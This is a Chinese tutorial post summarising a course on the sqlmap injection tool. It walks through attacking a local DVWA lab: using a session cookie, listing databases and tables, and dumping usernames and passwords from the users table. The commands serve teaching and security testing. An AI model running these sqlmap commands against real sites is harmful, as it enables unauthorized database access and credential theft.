前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全测试工具sqlmap

安全测试工具sqlmap

作者头像
Criss@陈磊
发布2019-12-05 10:55:04
1.6K0
发布2019-12-05 10:55:04
举报
文章被收录于专栏:测试技术圈测试技术圈

在周四的测试运维试听课程中,芒果给大家介绍了安全测试工具sqlmap的使用,这里我们来做个小总结。

sqlmap注入

作为OWASP TOP 10 中的 NO 1,注入是目前web安全问题,而sql注入可以算得上注入的典型代表了。

什么是SQL注入?

SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

SQL注入漏洞可能会影响使用SQL数据库(如MySQL,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。

sqlmap介绍与安装

我们在课程中所介绍的sqlmap就是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。

注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点。

它由python语言开发而成,通过运行.py文件执行检测和注入工作。

安装:

下载sqlmap.zip文件,解压后即可使用

下载地址:http://sqlmap.org/

以命令行执行sql注入命令:

python sqlmap.py [参数]

以API方式执行sql注入命令:

python sqlmapapi.py [参数]

sqlmap使用范例

接下来,我们来试试使用sqlmap来做几个简单的注入测试,这里选择dvwa作为被测网站(设置安全级别为low)。

一个简单的get注入:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

结果显示:

根据302的重定向,我们可以看出需要做登录,这里我们利用cookie跳过登录设置。

查看dvwa对应的cookie值为:

利用cookie值进行登录验证后注入:

python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=1br22d5fh0kp6k0k96k2h03mh5"

结果显示:

可以查看到注入点为id,之后利用漏洞,获取数据库数据:

代码语言:javascript
复制
#查看所有的数据库
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --dbs

#查看当前的数据库名称
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --current-db

#查看当前库所有表格
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa --tables

#查看表数据格式
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa -T users --columns

#查看数据库中的指定表格数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4iij3d2sluivmqejvpvi88tpd7" --batch -D dvwa -T users  -C "user,password" --dump

通过逐步的深入注入,我们可以直接查看到dvwa系统中,users表格中所有用户的用户名以及密码:

续的啰啰嗦嗦

当然除了课程内容除了这些基本的介绍,芒果还给大家介绍了,关于带大家学习安全测试、xss注入、sql注入等安全测试方式等内容。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 质问 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
手游安全测试
手游安全测试(Security Radar,SR)为企业提供私密的安全测试服务,通过主动挖掘游戏业务安全漏洞(如钻石盗刷、服务器宕机、无敌秒杀等40多种漏洞),提前暴露游戏潜在安全风险,提供解决方案及时修复,最大程度降低事后外挂危害与外挂打击成本。该服务为腾讯游戏开放的手游安全漏洞挖掘技术,杜绝游戏外挂损失。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档